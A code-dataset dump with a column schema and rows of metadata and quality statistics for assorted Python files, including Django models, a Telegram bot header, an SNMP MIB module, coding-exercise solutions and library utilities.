hexsha
string
size
int64
ext
string
lang
string
max_stars_repo_path
string
max_stars_repo_name
string
max_stars_repo_head_hexsha
string
max_stars_repo_licenses
list
max_stars_count
int64
max_stars_repo_stars_event_min_datetime
string
max_stars_repo_stars_event_max_datetime
string
max_issues_repo_path
string
max_issues_repo_name
string
max_issues_repo_head_hexsha
string
max_issues_repo_licenses
list
max_issues_count
int64
max_issues_repo_issues_event_min_datetime
string
max_issues_repo_issues_event_max_datetime
string
max_forks_repo_path
string
max_forks_repo_name
string
max_forks_repo_head_hexsha
string
max_forks_repo_licenses
list
max_forks_count
int64
max_forks_repo_forks_event_min_datetime
string
max_forks_repo_forks_event_max_datetime
string
content
string
avg_line_length
float64
max_line_length
int64
alphanum_fraction
float64
qsc_code_num_words_quality_signal
int64
qsc_code_num_chars_quality_signal
float64
qsc_code_mean_word_length_quality_signal
float64
qsc_code_frac_words_unique_quality_signal
float64
qsc_code_frac_chars_top_2grams_quality_signal
float64
qsc_code_frac_chars_top_3grams_quality_signal
float64
qsc_code_frac_chars_top_4grams_quality_signal
float64
qsc_code_frac_chars_dupe_5grams_quality_signal
float64
qsc_code_frac_chars_dupe_6grams_quality_signal
float64
qsc_code_frac_chars_dupe_7grams_quality_signal
float64
qsc_code_frac_chars_dupe_8grams_quality_signal
float64
qsc_code_frac_chars_dupe_9grams_quality_signal
float64
qsc_code_frac_chars_dupe_10grams_quality_signal
float64
qsc_code_frac_chars_replacement_symbols_quality_signal
float64
qsc_code_frac_chars_digital_quality_signal
float64
qsc_code_frac_chars_whitespace_quality_signal
float64
qsc_code_size_file_byte_quality_signal
float64
qsc_code_num_lines_quality_signal
float64
qsc_code_num_chars_line_max_quality_signal
float64
qsc_code_num_chars_line_mean_quality_signal
float64
qsc_code_frac_chars_alphabet_quality_signal
float64
qsc_code_frac_chars_comments_quality_signal
float64
qsc_code_cate_xml_start_quality_signal
float64
qsc_code_frac_lines_dupe_lines_quality_signal
float64
qsc_code_cate_autogen_quality_signal
float64
qsc_code_frac_lines_long_string_quality_signal
float64
qsc_code_frac_chars_string_length_quality_signal
float64
qsc_code_frac_chars_long_word_length_quality_signal
float64
qsc_code_frac_lines_string_concat_quality_signal
float64
qsc_code_cate_encoded_data_quality_signal
float64
qsc_code_frac_chars_hex_words_quality_signal
float64
qsc_code_frac_lines_prompt_comments_quality_signal
float64
qsc_code_frac_lines_assert_quality_signal
float64
qsc_codepython_cate_ast_quality_signal
float64
qsc_codepython_frac_lines_func_ratio_quality_signal
float64
qsc_codepython_cate_var_zero_quality_signal
bool
qsc_codepython_frac_lines_pass_quality_signal
float64
qsc_codepython_frac_lines_import_quality_signal
float64
qsc_codepython_frac_lines_simplefunc_quality_signal
float64
qsc_codepython_score_lines_no_logic_quality_signal
float64
qsc_codepython_frac_lines_print_quality_signal
float64
qsc_code_num_words
int64
qsc_code_num_chars
int64
qsc_code_mean_word_length
int64
qsc_code_frac_words_unique
null
qsc_code_frac_chars_top_2grams
int64
qsc_code_frac_chars_top_3grams
int64
qsc_code_frac_chars_top_4grams
int64
qsc_code_frac_chars_dupe_5grams
int64
qsc_code_frac_chars_dupe_6grams
int64
qsc_code_frac_chars_dupe_7grams
int64
qsc_code_frac_chars_dupe_8grams
int64
qsc_code_frac_chars_dupe_9grams
int64
qsc_code_frac_chars_dupe_10grams
int64
qsc_code_frac_chars_replacement_symbols
int64
qsc_code_frac_chars_digital
int64
qsc_code_frac_chars_whitespace
int64
qsc_code_size_file_byte
int64
qsc_code_num_lines
int64
qsc_code_num_chars_line_max
int64
qsc_code_num_chars_line_mean
int64
qsc_code_frac_chars_alphabet
int64
qsc_code_frac_chars_comments
int64
qsc_code_cate_xml_start
int64
qsc_code_frac_lines_dupe_lines
int64
qsc_code_cate_autogen
int64
qsc_code_frac_lines_long_string
int64
qsc_code_frac_chars_string_length
int64
qsc_code_frac_chars_long_word_length
int64
qsc_code_frac_lines_string_concat
null
qsc_code_cate_encoded_data
int64
qsc_code_frac_chars_hex_words
int64
qsc_code_frac_lines_prompt_comments
int64
qsc_code_frac_lines_assert
int64
qsc_codepython_cate_ast
int64
qsc_codepython_frac_lines_func_ratio
int64
qsc_codepython_cate_var_zero
int64
qsc_codepython_frac_lines_pass
int64
qsc_codepython_frac_lines_import
int64
qsc_codepython_frac_lines_simplefunc
int64
qsc_codepython_score_lines_no_logic
int64
qsc_codepython_frac_lines_print
int64
effective
string
hits
int64
5a632c2d81db75d5cd9bb7cba73f7a2200be072a
1,161
py
Python
app/bot_app.py
rnehoroshev/flask-telegram-bot
8da2e03d43fbc48f18c722cc4746ad1effa6ba0d
[ "Apache-2.0" ]
null
null
null
app/bot_app.py
rnehoroshev/flask-telegram-bot
8da2e03d43fbc48f18c722cc4746ad1effa6ba0d
[ "Apache-2.0" ]
null
null
null
app/bot_app.py
rnehoroshev/flask-telegram-bot
8da2e03d43fbc48f18c722cc4746ad1effa6ba0d
[ "Apache-2.0" ]
null
null
null
#!/usr/bin/env python # # A lightweight Telegram Bot running on Flask # # Copyright 2020 Rodion Nehoroshev <rodion.nehoroshev@gmail.com> # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # ...
32.25
79
0.740741
161
1,161
5.273292
0.596273
0.070671
0.030624
0.037691
0
0
0
0
0
0
0
0.008412
0.180879
1,161
35
80
33.171429
0.884332
0.67528
0
0
0
0
0
0
0
0
0
0
0
1
0.1
false
0
0.4
0
0.6
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
1
0
0
2
5a6345beaf42dc42e738b90bd53ff50aa2a795e1
92
py
Python
tools/config.py
emiliopomares/flow-separation-prediction
ca4585a8263cd5933889fbd763154e2f3851969a
[ "MIT" ]
null
null
null
tools/config.py
emiliopomares/flow-separation-prediction
ca4585a8263cd5933889fbd763154e2f3851969a
[ "MIT" ]
null
null
null
tools/config.py
emiliopomares/flow-separation-prediction
ca4585a8263cd5933889fbd763154e2f3851969a
[ "MIT" ]
null
null
null
import os config = { 'project_path': os.getcwd() + '/../openfoam/run/Airfoil2D_full/' }
18.4
68
0.641304
11
92
5.181818
0.909091
0
0
0
0
0
0
0
0
0
0
0.012821
0.152174
92
5
69
18.4
0.717949
0
0
0
0
0
0.473118
0.344086
0
0
0
0
0
1
0
false
0
0.25
0
0.25
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
5a6877293bcfc8b460c2f3a053089600a6da2217
1,053
py
Python
statsmodels/datasets/tests/test_data.py
dieterv77/statsmodels
ec3b6d02c96cd9c8f4b993434f0bbae4b3e91a21
[ "BSD-3-Clause" ]
34
2018-07-13T11:30:46.000Z
2022-01-05T13:48:10.000Z
venv/lib/python3.6/site-packages/statsmodels/datasets/tests/test_data.py
HeyWeiPan/vnpy_crypto
844381797a475a01c05a4e162592a5a6e3a48032
[ "MIT" ]
6
2015-08-28T16:59:03.000Z
2019-04-12T22:29:01.000Z
venv/lib/python3.6/site-packages/statsmodels/datasets/tests/test_data.py
HeyWeiPan/vnpy_crypto
844381797a475a01c05a4e162592a5a6e3a48032
[ "MIT" ]
28
2015-04-01T20:02:25.000Z
2021-07-03T00:09:28.000Z
import importlib import numpy as np import pandas as pd import nose import pytest import statsmodels.datasets from statsmodels.datasets.utils import Dataset exclude = ['check_internet', 'clear_data_home', 'get_data_home', 'get_rdataset', 'tests', 'utils', 'webuse'] datasets = [] for dataset_name in dir(st...
28.459459
77
0.746439
138
1,053
5.528986
0.384058
0.100917
0.028834
0.044561
0.06291
0
0
0
0
0
0
0
0.159544
1,053
36
78
29.25
0.862147
0.08642
0
0
0
0
0.108446
0.021898
0
0
0
0.027778
0.153846
1
0.076923
false
0
0.307692
0
0.384615
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
1
0
0
0
0
0
1
0
0
0
0
2
5a69cd0a2bbba2c936c06e234b1edd10181117d2
61
py
Python
immudb/constants.py
opvizor/immudb-py
9e7c6acd42ffcb5416a79397f62979b7991fc8df
[ "Apache-2.0" ]
null
null
null
immudb/constants.py
opvizor/immudb-py
9e7c6acd42ffcb5416a79397f62979b7991fc8df
[ "Apache-2.0" ]
null
null
null
immudb/constants.py
opvizor/immudb-py
9e7c6acd42ffcb5416a79397f62979b7991fc8df
[ "Apache-2.0" ]
null
null
null
LEAF_PREFIX = 0 NODE_PREFIX = 1 ROOT_CACHE_PATH = "rootfile"
15.25
28
0.770492
10
61
4.3
0.9
0
0
0
0
0
0
0
0
0
0
0.038462
0.147541
61
3
29
20.333333
0.788462
0
0
0
0
0
0.131148
0
0
0
0
0
0
1
0
false
0
0
0
0
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
5a7489f17f60526781aa0256a01ee1ce9045c96c
3,921
py
Python
day1/day1_demo1.py
ldolin/shixi0
ccc08130b0d16542f1c7bc259019d5a219a7c9b2
[ "Apache-2.0" ]
null
null
null
day1/day1_demo1.py
ldolin/shixi0
ccc08130b0d16542f1c7bc259019d5a219a7c9b2
[ "Apache-2.0" ]
null
null
null
day1/day1_demo1.py
ldolin/shixi0
ccc08130b0d16542f1c7bc259019d5a219a7c9b2
[ "Apache-2.0" ]
null
null
null
""" zhushi python组成 程序由模块组成 模块由语句,函数,类,数据 语句包含表达式 表达式建立并处理数据对象 python核心类型 数字:int-- 0和负数,float,布尔True/值为1,False/值为0 字符串:str 列表 字典 查看变量类型:type() 算数运算符+,-,*,/,//(地板除--取整),**(幂运算 --求次方),%(取余) 除数不能为0 + 一,数值运算(同类型相加) 二,字符类-拼接字符串 - 一,数值运算 * 一,数值运算 二...
19.703518
90
0.493242
584
3,921
3.311644
0.385274
0.055843
0.024819
0.021717
0.108066
0.050155
0.028438
0.028438
0.028438
0.028438
0
0.059835
0.288192
3,921
198
91
19.80303
0.633106
0.947207
0
null
0
null
0
0
null
0
0
0
null
1
null
true
0
0
null
null
null
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
0
0
0
0
0
2
5a87a13b767716b6d71c478069201fc9f65a4ce0
1,240
py
Python
blog/models.py
gnidoc327/django_web_dev_bookmark
128003c4d94ebb896138c0878ecc8c0270481bc4
[ "MIT" ]
null
null
null
blog/models.py
gnidoc327/django_web_dev_bookmark
128003c4d94ebb896138c0878ecc8c0270481bc4
[ "MIT" ]
null
null
null
blog/models.py
gnidoc327/django_web_dev_bookmark
128003c4d94ebb896138c0878ecc8c0270481bc4
[ "MIT" ]
null
null
null
from __future__ import unicode_literals from django.contrib.auth.models import User from django.utils.encoding import python_2_unicode_compatible from django.db import models from django.core.urlresolvers import reverse @python_2_unicode_compatible class Post(models.Model): title = models.CharField('TITLE',max_l...
34.444444
114
0.728226
165
1,240
5.193939
0.454545
0.058343
0.049008
0.056009
0.049008
0
0
0
0
0
0
0.006809
0.170968
1,240
35
115
35.428571
0.826848
0
0
0
0
0
0.11371
0
0
0
0
0
0
1
0.148148
false
0
0.185185
0.148148
0.814815
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
1
1
0
0
2
ce465fb3a4ddda908fff46b072b129bfe8ce6461
1,008
py
Python
bvspca/animals/migrations/0002_auto_20170829_1455.py
rds0751/bvspca
f80eb90938f9db81d5c72a25aaa98869bbd6663a
[ "MIT" ]
10
2019-02-25T07:06:09.000Z
2022-03-23T08:12:06.000Z
bvspca/animals/migrations/0002_auto_20170829_1455.py
rds0751/bvspca
f80eb90938f9db81d5c72a25aaa98869bbd6663a
[ "MIT" ]
18
2021-03-08T18:38:04.000Z
2021-08-20T14:16:37.000Z
bvspca/animals/migrations/0002_auto_20170829_1455.py
rds0751/bvspca
f80eb90938f9db81d5c72a25aaa98869bbd6663a
[ "MIT" ]
3
2019-01-29T05:14:22.000Z
2021-02-18T11:58:34.000Z
# -*- coding: utf-8 -*- # Generated by Django 1.11.4 on 2017-08-29 20:55 from __future__ import unicode_literals from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('animals', '0001_initial'), ] operations = [ migrations.AlterField( ...
28
69
0.589286
103
1,008
5.553398
0.495146
0.13986
0.174825
0.202797
0.61014
0.61014
0.61014
0.477273
0.293706
0.293706
0
0.043478
0.292659
1,008
35
70
28.8
0.758766
0.06746
0
0.5
1
0
0.134472
0.024546
0
0
0
0
0
1
0
false
0
0.071429
0
0.178571
0
0
0
0
null
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
ce609109d9105f7e6ea435499b497fc4ffa0541e
67,976
py
Python
pysnmp-with-texts/CISCO-OTV-MIB.py
agustinhenze/mibs.snmplabs.com
1fc5c07860542b89212f4c8ab807057d9a9206c7
[ "Apache-2.0" ]
8
2019-05-09T17:04:00.000Z
2021-06-09T06:50:51.000Z
pysnmp-with-texts/CISCO-OTV-MIB.py
agustinhenze/mibs.snmplabs.com
1fc5c07860542b89212f4c8ab807057d9a9206c7
[ "Apache-2.0" ]
4
2019-05-31T16:42:59.000Z
2020-01-31T21:57:17.000Z
pysnmp-with-texts/CISCO-OTV-MIB.py
agustinhenze/mibs.snmplabs.com
1fc5c07860542b89212f4c8ab807057d9a9206c7
[ "Apache-2.0" ]
10
2019-04-30T05:51:36.000Z
2022-02-16T03:33:41.000Z
# # PySNMP MIB module CISCO-OTV-MIB (http://snmplabs.com/pysmi) # ASN.1 source file:///Users/davwang4/Dev/mibs.snmplabs.com/asn1/CISCO-OTV-MIB # Produced by pysmi-0.3.4 at Wed May 1 12:09:07 2019 # On host DAVWANG4-M-1475 platform Darwin version 18.5.0 by user davwang4 # Using Python version 3.7.3 (default, Mar 27 201...
167.841975
6,409
0.792338
7,853
67,976
6.858271
0.089265
0.0508
0.0889
0.009655
0.465279
0.354803
0.300995
0.274592
0.239797
0.208734
0
0.041126
0.095725
67,976
404
6,410
168.257426
0.835055
0.004708
0
0.03038
0
0.103797
0.383816
0.044067
0
0
0
0
0
1
0
false
0
0.03038
0
0.03038
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
1
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
ce747e944d4e09e771fb268abe9046006ee16cf4
689
py
Python
src/87. Scramble String.py
wisesky/LeetCode-Practice
65549f72c565d9f11641c86d6cef9c7988805817
[ "MIT" ]
null
null
null
src/87. Scramble String.py
wisesky/LeetCode-Practice
65549f72c565d9f11641c86d6cef9c7988805817
[ "MIT" ]
null
null
null
src/87. Scramble String.py
wisesky/LeetCode-Practice
65549f72c565d9f11641c86d6cef9c7988805817
[ "MIT" ]
null
null
null
from collections import Counter class Solution: def isScramble(self, s1: str, s2: str) -> bool: if s1 == s2: return True #print(s1, s2) if Counter(s1) != Counter(s2): return False for i in range(1, len(s1)): if self.isScramble(s1[ :i], s2[ :i]) & s...
29.956522
87
0.515239
86
689
4.034884
0.360465
0.172911
0.184438
0.195965
0.299712
0.299712
0.299712
0.299712
0.299712
0.299712
0
0.052288
0.333817
689
22
88
31.318182
0.703704
0.082729
0
0.277778
0
0
0.028617
0
0
0
0
0
0
1
0.055556
false
0
0.055556
0
0.444444
0.055556
0
0
0
null
0
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
ce7ec53683f6487262bd1a3b42693596861a603b
330
py
Python
polymorphic_tree/__init__.py
g3rd/django-polymorphic-tree
ce9faebf2139d3f12e7b3a6e125e1273e26ad42d
[ "Apache-2.0" ]
1
2020-02-18T05:07:09.000Z
2020-02-18T05:07:09.000Z
polymorphic_tree/__init__.py
g3rd/django-polymorphic-tree
ce9faebf2139d3f12e7b3a6e125e1273e26ad42d
[ "Apache-2.0" ]
null
null
null
polymorphic_tree/__init__.py
g3rd/django-polymorphic-tree
ce9faebf2139d3f12e7b3a6e125e1273e26ad42d
[ "Apache-2.0" ]
null
null
null
# following PEP 386 __version__ = "1.0b1" # Do some sane version checking import django import mptt if django.VERSION < (1,3,0): raise ImportError("At least Django 1.3.0 is required to run this application") if mptt.VERSION < (0,5,1): raise ImportError("At least django-mptt 0.5.1 is required to run this appl...
25.384615
87
0.724242
56
330
4.196429
0.482143
0.068085
0.025532
0.195745
0.502128
0.255319
0
0
0
0
0
0.066176
0.175758
330
12
88
27.5
0.797794
0.142424
0
0
0
0
0.442857
0
0
0
0
0
0
1
0
false
0
0.571429
0
0.571429
0
0
0
0
null
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
0
0
0
2
ce9ce93cadd5696f32abb4c6dbd7e8b867c78574
1,270
py
Python
set1/crypto3.py
walshman23/Cryptopals
194163d0feb9f1b7df1183325475555c903d895e
[ "BSD-3-Clause" ]
null
null
null
set1/crypto3.py
walshman23/Cryptopals
194163d0feb9f1b7df1183325475555c903d895e
[ "BSD-3-Clause" ]
null
null
null
set1/crypto3.py
walshman23/Cryptopals
194163d0feb9f1b7df1183325475555c903d895e
[ "BSD-3-Clause" ]
null
null
null
#!/usr/bin/python # // ------------------------------------------------------------ # # 3. Single-character XOR Cipher # # The hex encoded string: # # 1b37373331363f78151b7f2b783431333d78397828372d363c78373e783a393b3736 # # ... has been XOR'd against a single character. Find the key, decrypt # the message. # ...
21.525424
136
0.701575
151
1,270
5.900662
0.622517
0.03367
0
0
0
0
0
0
0
0
0
0.111528
0.159843
1,270
58
137
21.896552
0.723524
0.504724
0
0
0
0
0.183471
0.112397
0
0
0
0
0
0
null
null
0
0.3125
null
null
0.125
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
1
0
0
0
0
2
ce9de8a063551e97f1ec3b2c37a587a56420937c
1,301
py
Python
pyjokes/jokes_hu.py
EVA-FMRP/pyjokes
b7d808759a2b329e42e762cec38221c3ce78ce7b
[ "BSD-3-Clause" ]
null
null
null
pyjokes/jokes_hu.py
EVA-FMRP/pyjokes
b7d808759a2b329e42e762cec38221c3ce78ce7b
[ "BSD-3-Clause" ]
null
null
null
pyjokes/jokes_hu.py
EVA-FMRP/pyjokes
b7d808759a2b329e42e762cec38221c3ce78ce7b
[ "BSD-3-Clause" ]
null
null
null
# -*- coding: utf-8 -*- """ Most of the jokes are from https://viccfaktor.hu/cimke/programozo-viccek/, and https://gremmedia.hu/programozo-viccek // A viccek nagy része a https://viccfaktor.hu/cimke/programozo-viccek/ weboldalról és a https://gremmedia.hu/programozo-viccek weboldalról származik """ neutral = [ "-...
44.862069
146
0.679477
168
1,301
5.255952
0.678571
0.07248
0.038505
0.04983
0.15855
0.08607
0
0
0
0
0
0.010397
0.186779
1,301
28
147
46.464286
0.824197
0.222905
0
0
0
0.222222
0.82652
0
0
0
0
0
0
1
0
false
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
cea428cf4157b43d2e863de6c2b70db9ce6e9719
1,754
py
Python
integration-tests/tests/model_lasso_test.py
skavulya/atk
c83f0bee2530282e39bf28d4a15355561b5eca4d
[ "Apache-2.0" ]
null
null
null
integration-tests/tests/model_lasso_test.py
skavulya/atk
c83f0bee2530282e39bf28d4a15355561b5eca4d
[ "Apache-2.0" ]
null
null
null
integration-tests/tests/model_lasso_test.py
skavulya/atk
c83f0bee2530282e39bf28d4a15355561b5eca4d
[ "Apache-2.0" ]
null
null
null
# vim: set encoding=utf-8 # # Copyright (c) 2015 Intel Corporation  # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # #       http://www.apache.org/licenses/LICENSE-2.0 # # Unless requi...
29.233333
75
0.6374
236
1,754
4.686441
0.567797
0.073237
0.023508
0.028933
0.03255
0
0
0
0
0
0
0.040892
0.233181
1,754
59
76
29.728814
0.781413
0.391676
0
0
0
0
0.104107
0.022923
0
0
0
0.016949
0
0
null
null
0
0.107143
null
null
0.142857
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
1
0
1
0
0
0
0
0
0
0
0
2
cea9840e6ca42629b0260620f06f2a75be3db1e4
507
py
Python
python/easy/(92) penultimate-word.py
tdsymonds/codeeval
9f41143526661852d3d6473590deb65803e8037c
[ "MIT" ]
null
null
null
python/easy/(92) penultimate-word.py
tdsymonds/codeeval
9f41143526661852d3d6473590deb65803e8037c
[ "MIT" ]
null
null
null
python/easy/(92) penultimate-word.py
tdsymonds/codeeval
9f41143526661852d3d6473590deb65803e8037c
[ "MIT" ]
null
null
null
import sys with open(sys.argv[1], 'r') as f: for line in f.readlines(): if line: line = line.strip() # find the last space and trim last_space = line[::-1].find(' ') line = line[:-last_space-1] # find the next last space and trim ...
31.6875
48
0.447732
61
507
3.639344
0.409836
0.283784
0.108108
0.144144
0.162162
0
0
0
0
0
0
0.017483
0.435897
507
16
49
31.6875
0.758741
0.143984
0
0.166667
0
0
0.007212
0
0
0
0
0
0
0
null
null
0
0.083333
null
null
0.166667
0
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
2
ceaedeef326186d73599de3f5d647d7843d45882
37,399
py
Python
zprev versions/Models_py_backup/garage.py
lefthandedroo/Cosmodels
c355d18021467cf92546cf2fc9cb1d1abe59b8d8
[ "MIT" ]
null
null
null
zprev versions/Models_py_backup/garage.py
lefthandedroo/Cosmodels
c355d18021467cf92546cf2fc9cb1d1abe59b8d8
[ "MIT" ]
null
null
null
zprev versions/Models_py_backup/garage.py
lefthandedroo/Cosmodels
c355d18021467cf92546cf2fc9cb1d1abe59b8d8
[ "MIT" ]
null
null
null
#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ Created on Thu Sep 21 15:50:29 2017 @author: BallBlueMeercat """ #import csv #with open('Amanullah.txt') as f: # reader = csv.reader(f, delimiter="\t") # d = list(reader) #print(d[5][:]) # 248 #import pandas as pd #pd.read_csv('Amanullah.txt', delim_whitespace=...
21.60543
74
0.45528
3,524
37,399
4.830306
0.472474
0.001057
0.00141
0.00094
0.003995
0
0
0
0
0
0
0.78953
0.449397
37,399
1,731
75
21.60543
0.037102
0.010535
0
0.103062
0
0
0.003596
0
0.000589
0
0
0
0
1
0
false
0
0.002356
0
0.002356
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
1
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
cec60ba36f74eaf7b5acd1135ef7abbf294e4569
2,386
py
Python
helper.py
hc-fang/GOGCN
e49e1b153f3bbae62e038bda58e1050fb7921868
[ "Apache-2.0" ]
1
2021-04-08T02:22:43.000Z
2021-04-08T02:22:43.000Z
helper.py
hc-fang/GOGCN
e49e1b153f3bbae62e038bda58e1050fb7921868
[ "Apache-2.0" ]
null
null
null
helper.py
hc-fang/GOGCN
e49e1b153f3bbae62e038bda58e1050fb7921868
[ "Apache-2.0" ]
null
null
null
import sys, os, random, json, uuid, time, argparse, logging, logging.config import numpy as np from random import randint from collections import defaultdict as ddict, Counter from orderedset import OrderedSet from pprint import pprint # PyTorch related imports import torch from torch.nn import functional as F from to...
27.425287
103
0.678122
343
2,386
4.603499
0.38484
0.034199
0.027866
0.021533
0.102597
0.073464
0.051932
0.051932
0.051932
0.051932
0
0.01447
0.189019
2,386
87
103
27.425287
0.80155
0.224644
0
0
0
0
0.076661
0
0
0
0
0
0
1
0.166667
false
0
0.309524
0.047619
0.619048
0.047619
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
1
0
0
2
ced34294496654f453a0aeb02871d2de1cde1aba
264
py
Python
tests/nn/test_generator.py
jeziellago/autokeras
cf93211c82dc61b239b8542d45ff111ff3b94a08
[ "MIT" ]
null
null
null
tests/nn/test_generator.py
jeziellago/autokeras
cf93211c82dc61b239b8542d45ff111ff3b94a08
[ "MIT" ]
4
2018-10-23T13:08:03.000Z
2018-10-23T13:18:22.000Z
tests/nn/test_generator.py
EvgeniyBochenkov/github-move
d5f3b36fc220e89b9af243a10ae199358983e98d
[ "MIT" ]
null
null
null
from autokeras.nn.generator import * from autokeras.nn.graph import TorchModel def test_default_generator(): generator = CnnGenerator(3, (28, 28, 1)) graph = generator.generate() model = graph.produce_model() assert isinstance(model, TorchModel)
26.4
44
0.734848
32
264
5.96875
0.59375
0.136126
0.157068
0
0
0
0
0
0
0
0
0.027149
0.162879
264
9
45
29.333333
0.837104
0
0
0
1
0
0
0
0
0
0
0
0.142857
1
0.142857
false
0
0.285714
0
0.428571
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
0c66b6ccd44effdb08d8542cc82c14c0b60fd2f0
3,717
py
Python
pudzu/sandbox/tureen.py
Udzu/pudzu
5a0302830b052fc54feba891eb7bf634957a9d90
[ "MIT" ]
119
2017-07-22T15:02:30.000Z
2021-08-02T10:42:59.000Z
pudzu/sandbox/tureen.py
Udzu/pudzu
5a0302830b052fc54feba891eb7bf634957a9d90
[ "MIT" ]
null
null
null
pudzu/sandbox/tureen.py
Udzu/pudzu
5a0302830b052fc54feba891eb7bf634957a9d90
[ "MIT" ]
28
2017-08-04T14:28:41.000Z
2019-11-27T23:46:14.000Z
import itertools import operator import re import bs4 from pudzu.utils import * # Various utilities for BeautifulSoup # helper functions since: (a) bs4 tags need to be compared with is, not eq; (b) they're iterable def remove_duplicate_tags(l): """Remove duplicate tags from a list (using object identity rather...
27.738806
133
0.678773
598
3,717
4.071906
0.264214
0.054209
0.049281
0.06037
0.255031
0.220534
0.16961
0.115811
0.087064
0.087064
0
0.008043
0.197202
3,717
133
134
27.947368
0.807976
0.268496
0
0
0
0
0.01139
0
0
0
0
0
0
1
0.276923
false
0
0.076923
0.015385
0.6
0.123077
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
1
0
0
2
0c6fbe6a43db5dcc862f77b38370707ef62fdf5a
2,510
py
Python
couchdb/tools/dump.py
kocolosk/couchdb-python
e90e541365688063c341e58939c3ba58ceb2d69c
[ "BSD-3-Clause" ]
1
2016-05-08T20:13:47.000Z
2016-05-08T20:13:47.000Z
couchdb/tools/dump.py
kocolosk/couchdb-python
e90e541365688063c341e58939c3ba58ceb2d69c
[ "BSD-3-Clause" ]
null
null
null
couchdb/tools/dump.py
kocolosk/couchdb-python
e90e541365688063c341e58939c3ba58ceb2d69c
[ "BSD-3-Clause" ]
null
null
null
#!/usr/bin/env python # -*- coding: utf-8 -*- # # Copyright (C) 2007 Christopher Lenz # All rights reserved. # # This software is licensed as described in the file COPYING, which # you should have received as part of this distribution. from base64 import b64decode from email.MIMEBase import MIMEBase from email.MIMEMul...
33.026316
74
0.636255
300
2,510
5.226667
0.44
0.042092
0.01148
0.022959
0.072704
0.03699
0
0
0
0
0
0.010139
0.253386
2,510
75
75
33.466667
0.826574
0.09761
0
0
0
0
0.129933
0
0
0
0
0
0
0
null
null
0.113208
0.188679
null
null
0.037736
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
1
0
0
0
0
0
2
0c83b831d0506c8fea03630fae7acf7422c59d2f
306
py
Python
stable_baselines/__init__.py
yfletberliac/Actor-with-Variance-Estimated-Critic
294ef39d05f31067907bb6ff9405183d4a530244
[ "MIT" ]
4
2020-10-04T02:15:47.000Z
2020-10-13T15:24:22.000Z
stable_baselines/__init__.py
yfletberliac/actor-with-variance-estimated-critic
294ef39d05f31067907bb6ff9405183d4a530244
[ "MIT" ]
null
null
null
stable_baselines/__init__.py
yfletberliac/actor-with-variance-estimated-critic
294ef39d05f31067907bb6ff9405183d4a530244
[ "MIT" ]
1
2021-05-06T08:55:24.000Z
2021-05-06T08:55:24.000Z
from stable_baselines.ppo2 import PPO2 from stable_baselines.sac import SAC # Load mpi4py-dependent algorithms only if mpi is installed. try: import mpi4py except ImportError: mpi4py = None if mpi4py is not None: from stable_baselines.trpo_mpi import TRPO del mpi4py __version__ = "2.9.0a0"
20.4
60
0.77451
46
306
4.978261
0.565217
0.131004
0.248908
0
0
0
0
0
0
0
0
0.043651
0.176471
306
14
61
21.857143
0.865079
0.189542
0
0
0
0
0.028455
0
0
0
0
0
0
1
0
false
0
0.5
0
0.5
0
0
0
0
null
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
0
0
0
2
0c9315a6e530714d5deba2b63fd2921f968b030e
1,730
py
Python
qiwi_kassa/views.py
adilkhash/django-qiwi-kassa
2a4c45c361210a6ce4fa3435a065ab0bd43ef202
[ "MIT" ]
2
2019-12-04T15:41:39.000Z
